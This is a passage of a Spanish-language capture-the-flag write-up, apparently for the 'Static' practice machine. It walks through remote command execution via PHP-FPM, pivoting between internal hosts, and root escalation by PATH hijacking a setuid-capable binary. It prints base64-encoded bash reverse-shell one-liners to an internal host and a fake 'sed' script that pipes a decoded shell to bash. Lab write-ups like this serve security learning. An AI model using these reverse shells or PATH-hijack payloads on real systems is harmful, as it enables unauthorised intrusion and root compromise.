Después de unos 3-4 intentos obtenemos el resultado del comando, así que tamos perfectoooooooooooos, tenemos ejecución remota de comandos contra el servidor pki (:

Intentando alguna que otra Reverse Shell no logramos nada y enumerar desde la web es medio feito, así que procedemos con la automatización antes mencionada, este sería el resultado:

phpFpmRCE.py

Con él generamos una FakeShell to linda:

Ahora que estamos más cómodos, busquemos una manera de obtener una reverse shell…

Si recordamos sabemos que tenemos acceso remoto a otra dirección que esta máquina reconoce, la 192.168.254.2 (nosotros somos la .3 (pki)), pues podríamos intentar establecer la reverse Shell contra ese recurso, la cosita es que la .2 no tiene nc, pero podemos subirlo y ponernos en escucha:

www-data@web:/tmp$ mkdir test
❱ which nc
/usr/bin/nc
❱ cp /usr/bin/nc .

Levantamos servidor web y con ayuda de __curl subimos el binario:

www-data@web:/tmp/test$ __curl http://10.10.14.79:8000/nc > nc
-bash: connect: Connection refused
-bash: /dev/tcp/10.10.14.79/8000: Connection refused
...

Pero pailas, no tenemos conectividad contra nuestra IP externa, esa es la razón también del porqué no podemos establecer la Reverse Shell…

Pues hagamos la clásica, tomamos el contenido del binario en formato base64 y lo pasamos al objetivo para posteriormente decodearlo y volver al contenido original:

❱ base64 -w 0 nc

Copiamos el output y en la .2 ejecutamos:

www-data@web:/tmp/test$ echo "f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAsDAAAAAA
...
...
...
BAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA" | base64 -d > nc

Validamos integridad:

❱ md5sum nc
7e6f1531bbae64b64630bad39c9bab5e  nc
www-data@web:/tmp/test$ md5sum nc 
7e6f1531bbae64b64630bad39c9bab5e  nc

Listos, pues ahora sí, pongámonos en escucha y generemos la p** Shell :P

www-data@web:/tmp/test$ chmod +x nc 
www-data@web:/tmp/test$ hostname -I
172.20.0.10 192.168.254.2
www-data@web:/tmp/test$ ./nc -lvp 4433
listening on [any] 4433 ...

Para evitarnos problemitas hacemos esto:

❱ echo "bash -i >& /dev/tcp/192.168.254.2/4433 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NC4yLzQ0MzMgMD4mMQo=

Tomamos la cadena y en la máquina .3 ejecutamos:

Yyyyyy en la .2:

VAMOOOOOOOOOOOOOOOOOOOOOOOOOO, ahora siiiiiiiiiiiiiii, tenemos una Reverse Shell en la máquina 192.168.254.3, per fec to.

Antes de seguir hagámosle un masaje a la Shell para que quede increíble:

(Ahora si ta guapetona, sigamos)

Escalada de privilegios #

Enumerando las capabilities (pequeñas instrucciones con permisos administrativos) y los procesos que las tengan, llegamos de nuevo al binario /usr/bin/ersatool:

www-data@pki:~/html$ getcap -r / 2>/dev/null
/usr/bin/ersatool = cap_setuid+eip

En este caso el binario cuenta con el privilegio de cambiar el usuario que lo ejecuta (UID : User Identifier), por lo que si encontramos la forma, podremos indicarle que en vez de www-data sea root el que lo ejecute, sigamos explorando sobre él…

Podemos movernos el binario a nuestra máquina y jugar con ltrace o strace o incluso intentar cositas de reversing, hay líneas interesantes pero nada relevante:

Bien, con este pequeño intento de ver que pasa por detrás del binario tenemos una ruta nueva /opt/easyrsa y toma sentido la capability que habíamos encontrado antes, ya que el mismo programa la usa para crear e imprimir objetos del sistema.

Revisando la ruta no llegamos a ningún lado, ya que claramente esta restringida :(

www-data@pki:/opt$ ls -la
total 12
drwxr-xr-x 1 root root 4096 Jun 21 17:03 .
drwxr-xr-x 1 root root 4096 Sep 30 12:56 ..
drwx------ 6 root root 4096 Apr  3  2020 easyrsa
www-data@pki:/opt$ ls -la easyrsa/
ls: cannot open directory 'easyrsa/': Permission denied

Así que F. Buscando en internet algo relacionado con easyrsa caemos en este repo:

Es una herramienta que para gestionar todo lo relacionado con los certificados de autorización (CA) y permite obtener una Shell sencilla.

Si ejecutamos el binario vemos mucho mejor la Shell y las respuestas:

www-data@pki:/tmp/test$ /usr/bin/ersatool
# 
create|print|revoke|exit

🧸 create:

# create
create->CN=si
client
dev tun9
proto udp
remote vpn.static.htb 1194
...

Y en teoría genera un certificado, acá entendemos se generan los que vimos hace rato en la web (pki, pub, web, etc.)

🧸 print:

# print
print->CN=hola
hola[!] ERR reading /opt/easyrsa/clients/hola.ovpn!

Obtenemos la ruta :P

🧸 revoke:

# revoke
[!] Not implemented

Pero poquito podemos hacer con esto…

Vemos procesos internos con /usr/bin/ersatool 📌

Ahora que tenemos un binario funcional, pero con el cual no hemos hecho un claro análisis dinámico, que seria entender o al menos ver que hace por detrás (antes del estático, o sea reversing). Para intentarlo podemos apoyarnos de pspy, que básicamente es todo lo que queremos hacer, monitorear procesos internos que sucedan en el sistema, lo aprovecharemos para una vez ejecutemos /usr/bin/ersatool ver como se comporta el sistema.

Nos descargamos el binario de acá:

Para facilitarnos la vida y el writeup hablaremos de ahora en adelante así con respecto a los hosts:

Nombre original Nombre más fácil
192.168.254.2 - web .2
192.168.254.3 - pki .3

El proceso de transferir el binario de mi máquina a la .3 me hizo perder la terminal un par de veces :P Así que me fui a buscar alternativas, encontré este post con esta opción:

Recordemos que la .3 solo tiene conectividad con la .2. Lo mejor fue pasar el archivo a la .2 y desde la .3 hablar con la .2 para que nos preste el binario.

scp <option> <source_user>@<source_host>:<file> <destination_user>@<destination_host>:<file>
scp <source_file> <user>@<hostname>:<dest_file>

Con scp también podemos usar la llave de identificación (si no tendríamos que modificar de nuevo el archivo authorized_keys), adecuando todo nos quedaría así:

❱ scp -i www-data.privkey pspy www-data@172.20.0.10:/tmp/test/pspy

Le damos candela:

Yyy:

www-data@web:/tmp/test$ ls -la
...
-rwxr-xr-x 1 www-data www-data 1156536 Sep 30 25:25 pspy

Ahora es mucho más fácil la transferencia, desde la .3 usamos __curl y guardamos el archivo.

En la .2 nos ponemos en escucha, afortunadamente tiene Python instalado :P

www-data@web:/tmp/test$ which python3
/usr/bin/python3
www-data@web:/tmp/test$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Y en la .3:

Lisssssstones, podemos pensar que necesitamos otra terminal para ejecutar la tarea y a la vez ver que pasa por detrás, pero noooooooooooooo (además, que pereza, lo hice, pero la perdí unas veces y aggg), podemos jugar con timeout y una tarea en background para ejecutar pspy en segundo plano mientras interactuamos con el binario, únicamente debemos guardar una traza de todo lo que pase mientras jugamos, algo así:


www-data@pki:/tmp/test$ timeout --preserve-status 2m ./pspy > /tmp/test/locuras.txt &

Lanzará ./pspy por 2 minutos en segundo plano (&) sin importar si da error o no (--preserve-status) yyyyyyy todo lo que pase lo guardara en el archivo /tmp/test/locuras.txt, pos veamos:

Interactuamos… Jugamos… Ejecutamos… ETC.

Después de los 2 minutos, obtendremos esto en la terminal:

[1]+  Done                    timeout --preserve-status 2m ./pspy > /tmp/test/locuras.txt

Y si revisamos el archivo que se iba creando, tenemos:

www-data@pki:/tmp/test$ ls -la
...
-rw-r--r-- 1 www-data www-data    4523 Sep 30 25:25 locuras.txt

Esos resultados son de ejecutar create y print

OPAAAAAAAA, hay varias instrucciones ejecutadas por el UID=0, ¿qué significa? O sea, que son ejecutadas por el usuario root :O (Debe ser al momento de generar el setuid(0) que vimos antes con strace).

¿Qué ven interesante? 👀

Hay 3 líneas bastante llamativas, ya que con las 3 podemos hacer cosas malvadas… ¿Ya sabes de qué podemos aprovecharnos o al menos intentarlo?

Efectivamente, el binario en sus procesos llama 3 instrucciones del sistema sin su ruta absoluta:

... CMD: UID=0    PID=8700   | sed -e ...
... CMD: UID=0    PID=8701   | openssl ...
... CMD: UID=0    PID=8703   | rm ...

YYYY son ejecutadas por el usuario root, ufff. Pues juguemos, juguemos con los Path Hijacking

Encontramos posible Path Hijacking 📌

No explicare a profundidad los secuestros de ruta, pero un pasabocas seria:

  1. Existe una variable de entorno con todas las rutas donde el sistema va a buscar los binarios a ejecutar ($PATH).
  2. Si el sistema encuentra en alguna de esas rutas el binario, pos lo ejecuta.
  3. La explotación viene cuando se llama un binario sin su ruta absoluta, o sea la ruta por default de ese objeto.
  4. Esto abre la puerta a alguien (nosotros) de crear un archivo que se llame igual al binario sin ruta absoluta.
  5. Modificaríamos nuestra variable de entorno PATH agregando una nueva ruta, esa ruta seria donde esté alojado el archivo que generamos previamente.
  6. El binario o proceso que llame al objeto sin ruta absoluta recorrerá de nuevo tooodas las rutas del PATH.
  7. Como ya modificamos esa variable y agregamos nuestra ruta antes de la original… pueeees…
  8. Ejecutará el archivo custom, o sea el que creamos nosotros (:

Algunas referencias por si algo:

Listos, pues juguemos con la instrucción sed, directamente intentemos obtener una Reverse Shell, con todo lo dicho/visto antes, deberíamos obtenerla como el usuario root:

(Evitamos problemitas)

www-data@pki:/tmp/test$ echo "bash -i >& /dev/tcp/192.168.254.2/4450 0>&1" | base64   
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NC4yLzQ0NTAgMD4mMQo=

Creamos archivo malicioso:

www-data@pki:/tmp/test$ echo 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NC4yLzQ0NTAgMD4mMQo= | base64 -d | bash' > sed
www-data@pki:/tmp/test$ cat sed 
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NC4yLzQ0NTAgMD4mMQo= | base64 -d | bash
www-data@pki:/tmp/test$ chmod +x sed

Entonces cuando lea este archivo, tomara la cadena, la decodeara y la interpretara (:

Antes de que se nos olvide, nos ponemos en escucha con la máquina .2 sobre el puerto 4450:

www-data@web:/tmp/test$ ./nc -lvp 4450
listening on [any] 4450 ...

Y en la .3 finalmente modificamos nuestra variable PATH:

www-data@pki:/tmp/test$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
www-data@pki:/tmp/test$ old_path=$PATH  # La guardamos por si algo
www-data@pki:/tmp/test$ export PATH=/tmp/test:$PATH  # Primero la nuestra y le concatenamos la anterior
www-data@pki:/tmp/test$ echo $PATH
/tmp/test:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Perfecto, lo único que queda es interactuar con el binario y rezarle a diosito para que funcione :P

Se queda pegadoooooooooooooooooooooo yyyyyyyyyyyyyyyyyyyyy:

VAMOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO, tamos dentrooooooooo :))))))))

VAYA LOCURA DE CAMINOOOOOOOo, nos vemooooooooos…

Ah no, faltan las flags :P

FIIIIIIIIIIIIIIIIIIIIIIIIIN

Una vaina loca loca, la parte de las VPN es brutal y el cómo pivoteamos es más brutal aún, aunque perdí muuuuuchas shells por esto, pero no pasa nada jajaj :(

Me gusto bastante la máquina, toda siempre centrada en un proceso, bastante genial.

Y bueno, y malo, nos leeremos después, pero nada de dejar de romper cosas eh!! ¡Nada de eso! A ROMPER TODOOOOOOOOOOO!!

Comments

comments powered by Disqus